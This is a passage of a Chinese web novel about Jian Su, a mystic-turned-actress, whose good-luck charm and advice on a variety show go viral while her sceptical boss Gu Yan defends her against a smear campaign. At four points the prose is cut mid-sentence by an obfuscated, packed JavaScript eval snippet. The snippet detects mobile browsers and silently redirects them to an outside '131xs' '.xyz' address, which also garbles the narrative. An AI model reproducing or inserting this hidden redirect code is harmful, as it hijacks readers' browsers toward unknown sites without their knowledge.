这平安符自然不是寺庙求的，而是她闲暇时用微薄灵力绘制的简易静心护身符，虽效力不及她全盛时期万分之一，但驱散这点不安的晦气，给予使用者一点心灵上的镇定和微弱的防护场，还是能做到的。 梁晖愣住了。他没想到简素会突然送他这个。他本人并非迷信之人，但混迹娱乐圈多年，对这类宁可信其有不可信其无的事情也抱有几分敬畏。尤其是简素刚才精准地说中了他的心事，此刻又送上这看似不起眼却透着莫名郑重的小符，他心里竟真的生出一丝奇异的期待和安慰。 他郑重地双手接过那个小小的三角符，触手竟觉得有股极细微的温润感。 “这……太谢谢你了，这怎么好意思……” “不客气，小东西而已。”简素摆摆手，“想着您接下来的工作很重要，希望能一切顺利。心态放平，您准备得那么充分，肯定会顺利的。” 梁晖将平安符小心地放入自己冲锋衣内侧的口袋里，轻轻拍了拍，脸上露出一抹舒朗的笑容，眉间那点郁色似乎真的消散了不少：“承你吉言！谢谢，真的谢谢。这小礼物我收下了，心里确实踏实多了。” 【哇！简素送了梁影帝平安符！】 【大师出手了！梁影帝的新戏肯定顺顺利利！】 【虽然但是，感觉好暖心啊！简素观察真的好仔细！】 【梁影帝看起来好开心，好像真的安心了不少！】 【这算不算节目里公然搞迷信？狗头保命】 【前面的一看就没认真看，大师说了是心理暗示！科学！懂吗！】 这一幕自然也被不远处的顾延看在眼里。 他今天依旧是以考察名义来到外景地，站在工作人员区域，手里拿着平板电脑，看似在记录录制流程和数据。 看到简素拿出那个眼熟、曾多次出现在直播间的三角符，又听到她那套“寺庙求得”、“心理暗示”的说辞，顾延的眉头下意识地就想皱起。 又是这种不科学的东西。 他几乎要习惯性地在心里批判一番。 但这一次，批判的念头只是一闪而过，到嘴边的质疑，忽然就有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230298|181740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不出口了。 他甚至下意识地在平板电脑上新建了一个文档，标题为：《论符号性物品对个体心理状态的干预效应研究》，比如平安符。 写完这行字后，没有继续如往常顺着写。反而他抬起头，目光复杂地看向简素。 她正侧着头和梁晖说话，阳光透过树叶的缝隙，在她苍白的脸上投下细碎的光斑，她的眼神平静而温和，没有半点故弄玄虚的狡黠，反而有种难以言喻的笃定和善意。 顾延发现，自己似乎越来越难以用简单的“荒谬”或“巧合”来定义她的一切行为了。 那种想要彻底拆解、分析、论证的冲动依然存在，但另一种陌生的、试图去理解和接受的情绪，也在悄然滋生。 任务结束后，回程的车上，梁晖的心情明显变得很好，甚至主动哼起了他新电影的主题曲小样。 坐在后排的顾延，看着平板电脑上关于“符号干预”的笔记，又抬眼看了看前排和赵哥谈笑风生的梁晖，手指无意识地摩挲着屏幕。 犹豫了片刻，他打开微信，找到了那个几乎没怎么聊过天的、备注为“简素”的联系人。 指尖在输入框上方停顿了许久，最终，他还是敲下了一行字，发送了过去。 正在看窗外风景的简素感觉到手机震动，拿出来一看，是顾延发来的消息。 内容十分符合他的风格： 【那种平安符，制作流程和原材料是否符合安全卫生标准？有无相关检测报告？】 简素看着这条消息，几乎能想象出顾延皱着眉、一脸严肃地打下这行字的样子。 她忍不住抿嘴笑了笑，回复道： 【顾总放心，纯天然植物纤维纸张，食用级朱砂，手工制作，已通过ISO9001心灵质量管理体系认证。很安全，只有安慰剂效果。】 发送成功后，她等了一会儿，那边没有再回复。 直到车子快要抵达民宿时，手机才又轻微震动了一下。 顾延的回复很简单，只有一个字： 【嗯。】 但在这个“嗯”之后，紧跟着又一条。 【下次如果需要送人，提前报备一下。】 ------ 随机掉落一个官宣*2。 @【奇遇之旅V】：#《奇遇之旅》综艺定档官宣# 奇遇旅友闪亮集合！@郑郑郑宇@林薇薇@主持人赵哥@简素不吃素赴山海，观日落，世界就在手边。旅行冒险or心灵奇旅？ 8月30日中午12；00锁定@跃鱼TV旅友集结出发篇+第一期正片上线，9月6日起，每周六12:00更新一期正片。 评论瞬间炸了： 【卧槽……竟然是真的！】 【玄学主播过去做什么，帮忙驱赶妖魔鬼怪？】 【你别说，真别说，至少帮我避雷某哥，塌房没伤到我】 【楼上姐妹，你哥不火，塌房0人伤亡好吧？】 【笑死，现在神婆路子也这么广吗？】 【在线等什么时候可以暴富！！！】 【玄学人设翻车预备役+1】 【等翻车+10086】 11. 第11章 《奇遇之旅》新一季的前两期节目，在万众期待中正式上线了，火速热播。特别影帝梁晖飞行的一期，在播出当晚，网络播放量就以惊人的速度攀升。 节目组显然深谙剪辑之道，将简素那些“语出惊人”的片段和嘉宾们震惊、疑惑、最后不得不服的表情巧妙地剪辑在一起，戏剧效果拉满。 #简素科学心理疏导# #简素环境能量场分析# #简素郑宇注意东边窗户# #简素梁晖平安符# 等词条迅速攀上热搜榜，虽然位置不算最顶端，但讨论度极高。 节目弹幕区： 【来了来了！带着我的唯物主义精神来学习科学了！】 【大师：我只是在陈述事实.jpg】 【郑宇当时的表情笑死我了，仿佛在说这也能看出来？】 【梁影帝接过平安符那个郑重其事的样子，好像接了什么绝世秘籍！】 【只有我注意到顾总又在角落里拿着平板写写画画吗？他到底在记录什么啊？！】 【顾总：数据异常，逻辑存疑，需要进一步观察】 【哈哈哈前面姐妹你是懂顾总的！】 【说真的，简素说的那些，乍一听离谱，仔细一想好像又有那么点道理？】 【我不管，我就爱看大佬们怀疑人生的样子！】 【+1，这季《奇遇》因为简素变得好有趣！】 娱乐八卦号们自然不会放过这个热点，纷纷截取节目片段进行解读。 【@娱乐圈吃瓜V】：#简素科学玄学#《奇遇之旅》新一季你们看了吗？简素这位姐真是每期都在我的笑点和惊点上疯狂蹦迪！说郑宇胸闷要注意东窗，结果郑宇真的找到裂缝封好了？送梁晖影帝平安符，影帝还乐呵呵收了？这到底是为综艺效果还是真有点东西？[视频片段]” 评论区更是热闹非凡： 【综艺效果啦，剧本早就写好的！】 【剧本？你让梁晖影帝配合演这个？他那个级别的需要这种剧本？】 【可是真的很准啊！我室友之前看她直播说她容易丢三落四，结果第二天她真的把钥匙锁屋里了！】 【歪个楼，只有我觉得简素和顾总有点好磕吗？顾总那个眼神，啧啧。】 【cp粉圈地自萌好吧！我们顾总是严肃的资本家！】 【资本家用小号蹲直播刷已阅？狗头保命】 【哈哈哈已阅大佬梗过不去了！】 节目播出初期，质疑声固然存在，但更多的是被勾起巨大好奇心的观众。简素那种一本正经胡说八道、却又能隐隐印证的效果，加上嘉宾们至少看起来很真实的反应，形成了一种奇特的吸引力，让《奇遇之旅》的收视率和网络热度持续走高。 星耀娱乐宣传部经理看着节节攀升的数据报告和网络上虽然褒贬不一但热度空前的讨论，擦了擦额头的汗，对周铭说：“老周啊，你这个艺人……真是走了那什么运了？这讨论度，比我们之前砸钱营销那几个还好！” 周铭这几天走路都带风，虽然依旧每天提心吊胆，怕简素哪天又语出惊人捅出大篓子，但实打实的利益和热度让他脸上的笑容就没消失过。他一边叮嘱简素谨言慎行，一边又暗戳戳地希望她再多观察出点啥。 而处于风暴中心的简素，对此反应依旧平淡。录制间隙，她大多时间安静地待着，感受着体内那微乎其微、却因节目热播和广泛讨论而缓慢增长的愿力。虽然夹杂着大量好奇、质疑和看乐子的情绪，但比起之前直播时那稀薄的程度，已是天壤之别。 天道予的那一线生机，似乎正透过这方小小的屏幕，逐渐向她汇聚。 她偶尔会刷一下手机，看到那些或惊叹或嘲讽的评论，内心毫无波澜，甚至有点想笑。世人多愚昧，只窥得冰山一角便妄下断论。唯有那个总是皱着眉、试图用科学解释一切的老板，倒是比她想象中更有趣些。 想到顾延，她点开微信。对话还停留在他那句【下次……如果需要送人，提前报备一下。】上。 她挑了挑眉，手指动了动，发过去一条消息： 【顾总，关于平安符的卫生安全标准检测报告，需要我提交电子版还是纸质版？】 几乎是在消息发送成功的下一秒，对话界面顶端就变成了“对方正在输入…”。 输入状态持续了十几秒，然后跳过来一个字： 【……不用。】 简素几乎能想象出顾延在那头被打了个措手不及、一脸憋闷的样子，忍不住轻笑出声。 又过了几秒，那边再次显示“对方正在输入…”，这次时间更长。 最终，一条消息弹了出来： 【专注节目录制，无关物品谨慎使用。王秘书会联系周铭，后续如有类似环节，需提前报备脚本。】 语气依旧是一板一眼的公事公办，但简素却从中读出了一丝无奈的默许。 她回了句：【好的，顾总。】 顾延没再回复。 但当天晚上，简素直播时，那个默认ID的“已阅”大佬准时出现，并且罕见地、在她解释关于不同材质睡衣对睡眠质量的影响后，针对她的“科学论据”提出了一条长达两百字的、引用了三篇国内外文献的、关于织物摩擦系数与皮肤感官神经反应时间的补充修正。 弹幕： 【？？？】 【大佬今天话好多！】 【这熟悉的论文风……大佬您到底是何方神圣？】 【虽然看不懂，但感觉好厉害！】 【大师：我就随口一扯，您还真给我整上文献了？】 【哈哈哈哈大佬这是在干什么？】 简素看着那密密麻麻的修正意见，沉默了几秒，然后面不改色地说：“感谢‘用户74839’提供的宝贵数据和理论支持，您的补充非常专业，充分体现了科学探讨的严谨性。看来我们的观众里真是藏龙卧虎。” 屏幕那头的顾延，看着简素那副从善如流、甚至有点“您说得对”的态度，满意地推了推眼镜，感觉自己的唯物主义价值观得到了一次小小的捍卫。 然而，这小小的交锋很快被另一件更大的事情淹没了。 就在节目播出第四期的当晚，梁晖影帝更新了他的个人微博。 那是一条长达千字的博文，没有配图，只有真诚的文字。 他首先感谢了《奇遇之旅》节目组和各位嘉宾，表示这次录制是一次非常愉快和新奇的体验。接着，他话锋一转，提到了简素。 “……录制期间，我因为新戏即将开机，内心其实有些焦虑和压力，尤其是对一些动作场面和安全问题，有些难以言说的担忧。这些细微的情绪，我自己都未曾仔细察觉，却被细心的@简素不吃素发现了。” “她当时送了我一个小小的平安符，说是能宁神静气，求个心安。我收下了，一方面觉得有趣，另一方面也确实感受到了一份善意和安慰。我必须承认，将那个小符放入口袋后，我的心绪确实平静了许多，那种莫名的忐忑感减轻了。” “而就在昨天，我的新戏《燎原》正式开机。第一场戏需要一个我徒手攀爬一小段岩壁的镜头。就在我攀到一半时，上方一块原本检查过、认为稳固的石头突然松动脱落！当时我的左手正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236699|181740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓在那块石头下方不远处，若不是因为我当时心态异常平稳，反应迅速，及时缩手并调整了重心，只是被碎石擦伤了手臂，后果恐怕不堪设想。” “事后回想，惊出一身冷汗。剧组的安保措施已经非常到位，那纯粹是一次极意外的偶然事件。但我忍不住想，如果不是当时心态比平时更冷静沉着，我的反应可能会慢上半拍，结果就难说了。” “我不知道这和小简老师那个平安符有没有直接关系，或许它真的带来了好运，或许只是强烈的心理暗示起到了关键作用。但无论如何，我真心感谢小简老师当时的善意和提醒。那份‘心安’，在关键时刻或许真的帮到了我。” “有时候，科学与非科学之间的界限或许并非那么绝对。保持开放的心态，接受不同的关怀和祝福，本身也是一种力量。再次感谢@简素不吃素，也祝《奇遇之旅》节目越来越好。” 这条微博一经发出，瞬间炸翻了全网！ #梁晖平安符# #梁晖开机意外# #简素神了# 等相关词条以爆炸性的速度冲上热搜榜首，后面都跟着鲜红的“爆”字。 【卧槽！！！真的假的？！】 【梁影帝差点出事？幸好没事！】 【平安符显灵了？！】 【这已经不是心理暗示了吧！这是预言和庇护啊！】 【大师！受我一拜！】 【之前嘲讽简素装神弄鬼的呢？出来走两步？】 【梁影帝都亲自发文感谢了，这分量够重了吧！】 【《奇遇之旅》节目组官微下面已经被挤爆了！】 【简素的微博粉丝正在以肉眼可见的速度暴涨！】 【星耀娱乐这次捡到宝了啊！】 舆论彻底沸腾！质疑的声音依然有，但瞬间被海啸般的惊叹、好奇和崇拜淹没。简素“玄学大师”的名号以无可阻挡之势，真正意义上地出圈了，不再局限于直播和综艺粉丝的小范围讨论。 周铭的手机瞬间被打爆，各种采访、综艺、广告代言邀约雪片般飞来，他一边手忙脚乱地应付，一边激动得语无伦次：“红了！真的红了！素素啊！你真是我的福星！” 而此时此刻，简素正坐在房间里，感受着体内因为梁晖的公开感谢和全网热议而骤然增加的、比之前纯粹许多的愿力。那力量虽然依旧微弱，却让她干涸的灵台感到一丝久违的滋润。 她看着窗外沉沉的夜色，轻轻呼出一口气。 与此同时，顾延的公寓内。 他面前的平板电脑上正显示着梁晖那条微博和爆炸的舆情分析图。他的眉头拧成了一个深刻的“川”字。 桌上，摊开着《符号学与集体潜意识》、《概率论中的极小概率事件分析》、《危机情境下的心理应激反应与潜能激发》等书籍和打印出来的文献。 他反复看着梁晖描述的意外细节，试图从中找出任何可以证明那只是极端巧合和心理暗示激发潜能的证据。 但这一次，似乎比以往任何一次都要艰难。 那个女人的身影，和她那些看似荒诞不经的言行，在他严谨有序的世界观里，投下了一道越来越难以忽视的影子。 他拿起手机，点开微信，看着和简素那寥寥数语的对话框，指尖悬停了很久。 最终，他没有发任何消息，只是关掉了屏幕，走到窗边，看着楼下璀璨的城市灯火，第一次对自己的认知体系，产生了深刻的、动摇性的困惑。 而他的手机屏幕上，那条来自技术部的、关于简素直播间今晚流量暴增、礼物收入创纪录的数据报告，正静静地闪烁着。 12. 第12章 梁晖平安符事件的热度尚未完全平息，《奇遇之旅》节目组趁热打铁，放出了新一期的预告片。预告片中，一个全新的环节吸引了大众的眼球——“心灵驿站”：节目组将随机抽取幸运观众进行现场连线，嘉宾们需为其解答生活困惑或送上鼓励。 预告片的最后一个镜头，恰好切到了简素平静的脸庞，她对着镜头淡淡地说：“……正缘未至时，强求反易招致偏桃花。提升自我，静心等待，有时比盲目追寻更有效。” 就这一句话，又成功地将#简素桃花#送上了热搜前排，引发了新一轮关于她业务范围的大讨论。 【大师要开始指导感情问题了？！】 【信女愿一生荤素搭配，求大师指点桃花！】 【抽我抽我！急需大师科学分析我的感情运势！】 【只有我好奇连线的会是谁吗？】 【赌五毛，肯定是节目组安排好的托儿！】 正式节目播出时，这个环节被安排在了氛围轻松的午后茶歇时间。嘉宾们围坐在民宿阳光房里的藤椅上，面前摆着清茶和点心。 连线开始，前几位观众问题都比较常规，多是关于工作选择、学业压力或者请求爱豆加油打气的，其他嘉宾也能轻松应对，氛围温馨。 直到第四位连线观众接入，屏幕那端出现了一个看起来年纪很轻、打扮精致却难掩眉宇间焦虑和傲气的女孩。她背景像是在某个豪华卧室里，说话语气带着点不自觉的娇惯和急切。 “主持人好，各位老师好，”女孩打了个招呼，目光直接锁定简素，“我主要是想请教简素老师。” 赵哥笑着接话：“哦？这位朋友想请教简素老师什么问题呢？” 女孩抿了抿嘴，像是有些难以启齿，但最终还是说了出来：“我，我想问桃花运！为什么我感情一直不顺？喜欢我的我看不上，我看上的总是不成？我都按照网上说的摆了粉水晶，戴了草莓晶，怎么一点用都没有？”她越说越委屈，甚至带上了一点埋怨的语气，仿佛那些水晶辜负了她的期望。 弹幕瞬间活跃起来： 【哈哈哈来了来了！经典桃花问题！】 【这妹妹一看就是家里有矿的，这背景！】 【大小姐：钱不是问题，问题是我想要的男人得不到！】 【粉水晶：这锅我不背！】 【坐等大师科学分析！】 简素端起茶杯抿了一口，视线在屏幕中女孩的脸上和身后的环境快速扫过。 “方便看一下你房间的整体布局吗？尤其是你经常待的区域，比如书桌或化妆台附近。”简素开口，语气依旧是那副做科研般的平静，“环境对人的心理暗示和情绪状态影响很大，而情绪状态又会直接影响人际吸引力。” 女孩愣了一下，似乎没想到是这种要求，但还是听话地拿起手机，切换了后置摄像头，在房间里慢慢走动，一边嘀咕：“我房间很大的……这是睡眠区，那边是衣帽间，这边靠窗是我的梳妆台和小沙发，我平时经常坐这里刷手机……” 镜头扫过，房间装修奢华，东西很多，摆放却显得有些杂乱。尤其是梳妆台区域，各种昂贵的护肤品、化妆品、首饰堆得满满当当，几乎看不到台面本身。而就在那一堆闪亮的物品中，一个巨大的、粉得刺眼的粉水晶摆件尤为醒目，旁边还散落着好几串不同材质的水晶手链。 简素的眉头几不可查地蹙了一下。 “你所说的招桃花的水晶，是否都集中摆放在这个杂乱且私密的区域？”她问。 女孩：“对啊，网上说放床头或者梳妆台最好嘛。” “问题可能就在这里。”简素放下茶杯，“首先，这个区域过于杂乱。在环境心理学上，杂乱的环境容易让人潜意识产生焦躁和不稳定的情绪，这种能量场……嗯，这种情绪状态投射出去，吸引来的也多是混乱不清、缺乏真诚的关系。” “其次，”她顿了顿，努力寻找更恰当的词汇，“粉色在某些文化语境里确实与浪漫情感关联，但过于集中和刺眼的粉色物品，尤其是堆放在私人区域，容易给人一种……嗯，过度渴望甚至不庄重的心理暗示，可能会吸引到一些并非奔着长久稳定关系而来的人。这或许就是你遇到的偏桃花。” 女孩听得有点懵：“啊？那……那该怎么办？把这些都扔了吗？那可都是钱买的！” “不必扔掉。”简素语气缓和了些，“建议你首先彻底整理这个区域，保持整洁清爽。那些水晶饰品，可以挑选一两件设计简洁的，佩戴出门，或者放在客厅、书房等更开阔、更具社交属性的空间，作为个人审美的点缀，而非带有强烈功利目的的。” 她看着屏幕里女孩若有所悟又带着点不甘的脸，补充道：“更重要的是，与其将过多精力寄托在外物上，不如多关注自身。你眉头紧锁，语速急切，透露出强烈的焦虑感和索取感。这种状态本身，就会让潜在的正缘感到压力而却步。” “试着把注意力从‘如何找到对的人’暂时转移到‘如何成为更好的自己’。发展一项能让你沉浸并感到愉悦的爱好，阅读，运动，或者学习一项新技能。当你自身状态变得从容、自信、散发着积极稳定的能量时，自然会吸引到频率相近、更优质的关系。这比任何外物都更有效。” 简素一番话，说得既像环境规划师，又像心理辅导师，全程没提一句风水、煞气，却把原理和解决方法都揉碎了用现代语言讲了出来。 女孩怔怔地听着，脸上的焦虑似乎慢慢平息了一些，她小声问：“真的……这样就有用吗？” “改变环境，调整心态，是改善任何状况的基础。”简素没有给出绝对保证，语气却带着一种让人信服的笃定，“你可以尝试一段时间。记住，整洁、开阔、积极，是吸引一切良性关系的基础能量场……呃，基础环境条件。” 连线结束后，阳光房里安静了几秒。其他嘉宾表情各异，林薇薇眼神里带着好奇，郑宇则是若有所思，赵哥赶紧打圆场：“哈哈，简素老师这个环境心理学和情绪管理结合的建议，真的很实用啊！” 弹幕却已经炸开： 【大师：我只是个搞环境卫生和心理建设的】 【听懂掌声！大师说得对啊！自己状态不好怎么吸引好人！】 【大小姐：我花了那么多钱买水晶，你告诉我主要是因为我房间乱且我焦虑？】 【但大师说得真的好有道理！我这就去收拾屋子！】 【所以粉水晶不是没用，是要用对地方？大师我悟了！】 【这波解释，唯物主义者听了都挑不出毛病！】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248422|181740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而此刻，顾延站在监控屏幕后，眉头紧锁。 他手里拿着平板，上面打开的却不是数据报告，而是一个搜索页面，关键词是：“环境杂乱对心理情绪的负面影响”、“颜色心理学与人际吸引”、“焦虑情绪对社交关系的抑制作用”。 他发现，简素说的每一句话，竟然都能在心理学和社会学领域找到相应的理论支撑！虽然她的表述方式和那种莫名的笃定感依旧让他觉得有些异样，但至少表面上，这次完全可以用科学原理解释！ 他甚至下意识地看了一眼自己永远一丝不苟、整洁得过分的办公室，心里莫名生出一丝认同感？混乱确实会影响效率和心情。 然而，一段时间后，一件小事再次轻轻撞击了一下顾延刚刚加固好的唯物主义堡垒。 那位连线的豪门千金，竟然又一次通过节目组，私下联系上了简素，兴奋地告诉她，自己听了她的话，把房间彻底收拾了，只留了一小串粉晶手链戴在手上，然后报了个一直想学的油画班。 就在她去上第二次油画课的时候，居然在画室里遇到了一个同样来学画画的、气质很干净温和的男生，两人因为讨论调色和光影聊得非常投机，还互加了微信。男生对她似乎也很有好感。 “大师！简素大师！真的太谢谢你了！”女孩在电话里的声音充满了雀跃，“虽然还不知道以后怎么样，但这种感觉真的好多了！比之前天天盯着水晶傻乎乎许愿踏实多了！” 简素接到电话时，正好在民宿庭院里透气，顾延恰好从不远处经过，隐约听到了她电话里传来的、激动得有些变调的女声和“油画课”、“男生”等关键词。 等简素挂断电话，顾延状似无意地走近。 简素收起手机，看了他一眼，眼中闪过一丝了然的笑意：“之前一位咨询过的观众，分享了一下近期生活状态的积极变化。” “哦？”顾延推了推眼镜，努力让自己的语气听起来只是出于管理者对项目效果的关注，“具体是哪方面的积极变化？数据……反馈如何？” 简素弯了弯唇角，故意慢悠悠地说：“据反馈，在调整了物品摆放格局、改善了局部环境卫生、并积极参与有益身心的社交学习活动后，咨询者的人际互动频率和质量出现了显著提升，遇到了感觉不错的潜在发展对象。初步验证了环境与心态对人际吸引力的正向影响理论。” 她这一串堪比学术报告的回答，让顾延一时语塞。 难道真的只是环境整理和心态调整带来的效果？可这效果也来得太快、太立竿见影了吧？油画课？这概率…… 他看着简素那双平静无波、却仿佛能看透一切的眼睛，第一次产生了一种强烈的、想要窥破的冲动。 而这种冲动，似乎已经超越了单纯的科学探究欲望。 里面还掺杂了些别的、他自己也尚未明晰的东西。 当晚，顾延的公寓书房里，灯亮到很晚。 书桌上，除了那些心理学、概率学、环境行为学的书籍，还多了一本刚刚送到的、砖头一样厚的《人际吸引与社会交换理论》。 而他的电脑屏幕上，除了文献检索页面，还悄然打开了一个购物网站。 搜索历史里，赫然躺着一条：“初学者油画套装，推荐品牌”。 13. 第13章 前有梁影帝发微博解释力挺，后有豪门千金直播正向反馈。 简素的爆火，如同一块巨石投入看似平静的娱乐圈池塘，激起的不仅是惊叹的浪花，也搅动了深藏水底的淤泥。 首先坐不住的，是那些常年活跃在网络平台，靠着星座运程、情感咨询、面相手相等玄学内容吸粉牟利的主播们。简素的横空出世，尤其是她那套科学玄学的独特包装和屡屡应验的效果，仿佛一个异类，砸了很多人苦心经营的饭碗。 某知名星座博主在私人小群里愤愤不平：“哪儿冒出来的十八线小艺人？懂个皮毛就敢出来指点江山？还科学解释？呸！装什么大尾巴狼！她那些话术，骗骗外行还行，明眼人一看就知道是故弄玄虚！” 另一个主打塔罗牌占卜的主播附和：“就是！梁晖那个事，肯定是巧合加炒作！还有那个什么千金，八成是节目组找的托儿！真那么神，她还能是个十八线？” “不能再让她这么蹦跶下去了，得想个办法，不然咱们这行的口碑都要被她带歪了！”有人提议。 很快，网络上开始出现一些看似理性分析，实则充满引导性的帖子。 《起底“玄学大师”简素：从无人问津到热搜常客的炒作之路》 《理性讨论：简素的“精准预言”是否存在剧本可能？》 《警惕新型娱乐圈骗局：“科学”包装下的迷信沉渣》 这些文章从各个角度质疑简素：翻出她过去作为小透明时期那些黑历史，多是演技尴尬、唱歌跑调的正常业务能力问题，暗示其突然开窍必有蹊跷。 分析梁晖事件和千金连线，极力论证其巧合性和可操作性；甚至暗指星耀娱乐为了捧红艺人，不惜联合节目组进行一场大型剧本炒作。 水军也开始下场，在相关话题下疯狂刷屏： 【假的要死，一看就是剧本！】 【梁晖影帝也沦落到配合炒作了？】 【那个连线的千金是星耀娱乐某个高管的侄女吧？演得真尬！】 【举报了，宣扬封建迷信！】 【不会真有人信吧？智商税真好收。】 虽然支持简素的观众和粉丝依然众多，奋力反驳，但负面声浪的突然集中出现，还是让舆论环境变得复杂起来，也成功吸引了一批摇摆不定、容易受暗示的网友开始怀疑。 星耀娱乐的公关部第一时间监测到了这股异常舆情。 “顾总，舆论风向有点不对。”公关部经理拿着报告，面色凝重地站在顾延办公桌前，“集中在质疑简素炒作、剧本、宣扬迷信这几个点，水军痕迹明显，背后应该是有推手。” 顾延看着报告上那些充满恶意的评论和明显带节奏的文章标题，脸色沉静，眼神却冷了下来。他修长的手指在红木桌面上轻轻敲击着，发出规律的轻响。 “查到源头了吗？”他问，声音听不出情绪。 “几个主要的营销号来自不同的工作室，但资金流向初步追踪，似乎都指向几家……同类型的MCN机构，旗下有不少玄学类主播。”经理谨慎地回答，“另外，锐光传媒那边，最近似乎也小动作不断。” 锐光传媒，是星耀娱乐在业内的主要竞争对手之一，双方明争暗斗多年。对方显然不会放过这个能给星耀和其正当红艺人添堵的机会。 顾延冷哼一声。商业竞争他见得多了，但这种下作手段，依旧让他不齿。 “先按常规流程处理。”他下达指令，“以公司名义发布正式声明，澄清剧本论和无依据的诽谤。联系合作律所，对几个跳得最凶、言论涉及人身攻击和明显造谣的账号发送律师函，固定证据。” “是，顾总。” “另外，”顾延补充道，目光锐利，“重点收集简素在节目和直播中所有关于环境心理学、行为分析、概率学等相关论述的片段，整理成集。联系几位知名的心理学教授、社会学者，最好是形象好、有公众认可度的，请他们从学术角度进行解读和点评，做成系列科普内容放出去。” 经理愣了一下，立刻明白了顾延的意图——这是要用“科学”对“科学”，用更高权威的专业解读，来为简素那套看似玄乎的理论进行背书和合理化！高啊！ “明白！我立刻去办！” 公关经理离开后，顾延独自坐在办公室里。他打开电脑，点开那些恶意攻击的链接，越看眉头皱得越紧。 那些充满戾气和嫉妒的言论，像阴沟里的污水，试图泼脏那抹让他越来越在意、也越来越困惑的亮色。 他承认，他依旧无法完全理解甚至认同简素的一切。但他更厌恶这种躲在暗处、用卑劣手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261335|181740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段抹黑的行为。 他的理性告诉他，这只是商业竞争中常见的舆论战。 但他的某种直觉，或者说某种难以言喻的情绪，却让他觉得，这不仅仅是商业竞争。那些玄学主播的恐慌和嫉妒，似乎更为直接和……低级。 他甚至下意识地想到，简素如果真的有那种特殊的能力，是否也会感知到这种来自暗处的恶意？ 这个念头让他感到一丝莫名的烦躁。 他拿起内线电话，接通了周铭。 “最近让简素减少不必要的单独外出，注意安全。网络上的言论让她不必理会，公司会处理。”他的声音一如既往的冷静，却带着不容置疑的力度。 电话那头的周铭连连应声：“好的好的，顾总您放心！我一定看好她！绝不给公司添乱！” 挂了电话，顾延看向窗外。城市华灯初上，玻璃上映出他冷峻而略显疲惫的侧脸。 他发现自己正在下意识地、动用手头的一切资源，去保护那个不断挑战他世界观的女人。 而这仅仅是因为她是公司有价值的资产吗？ 顾延第一次，对这个问题产生了不确定。 与此同时，民宿房间里。 简素刚结束一场直播。她看着屏幕上偶尔飘过的几条明显带节奏的恶意弹幕，面色平静无波。 她当然感知到了那股突然增强的、针对她的负面能量，浑浊而充满嫉妒，像一群嗡嗡作响的苍蝇。 但她并不在意。历劫千年，什么恶念没见过？这点小风波，不过是蝼蚁喧嚣。 她更在意的是，在这股浊流之外，那些因为她的指点而真正获得帮助、心生感激的人所汇聚而来的、纯净而微弱的愿力，正在一点点滋养着她的灵台。 以及……那个看似冷漠的老板，似乎正在笨拙地、用他信奉的方式，为她挡开那些风雨。 她拿起手机，点开那个熟悉的灰色头像，发了条消息过去： 【顾总，需要我做些什么吗？】 几分钟后，对方回复了，依旧言简意赅： 【不用。专心录制。】 停顿片刻，又补了一条。 【……王秘书会联系你，近期有几个学术访谈和科普专栏，需要你配合。】 简素看着屏幕，嘴角轻轻弯起。 14. 第14章 山雨欲来风满楼。 网络上关于简素的质疑声，在经过一段时间的发酵和有心的推波助澜后，终于迎来了第一波集中的黑料攻击。 最先引爆的是一个拥有百万粉丝的娱乐爆料号发布的一段“独家揭秘”视频。视频标题极具煽动性：《揭秘“玄学大师”简素早期直播翻车现场！粗口骂人、情绪失控，人设崩塌！》 视频内容是一段经过恶意剪辑的直播录屏。画面中的是早期简素，背景简陋，神色也更显疲惫木讷，正对着屏幕说话，镜头突然切换，变成她面无表情甚至带着一丝不耐烦地说：“……信就信，不信就算了，哪来那么多废话？”紧接着又是一段拼接，她似乎因为网络卡顿啧了一声，眉头皱着，被配上了“烦躁辱骂粉丝”的字幕。 整个视频剪得支离破碎，刻意放大每一个细微的负面表情，忽略前后语境，配上引导性极强的字幕和阴间bgm，营造出一种简素质素低下、脾气暴躁、对粉丝不耐的假象。 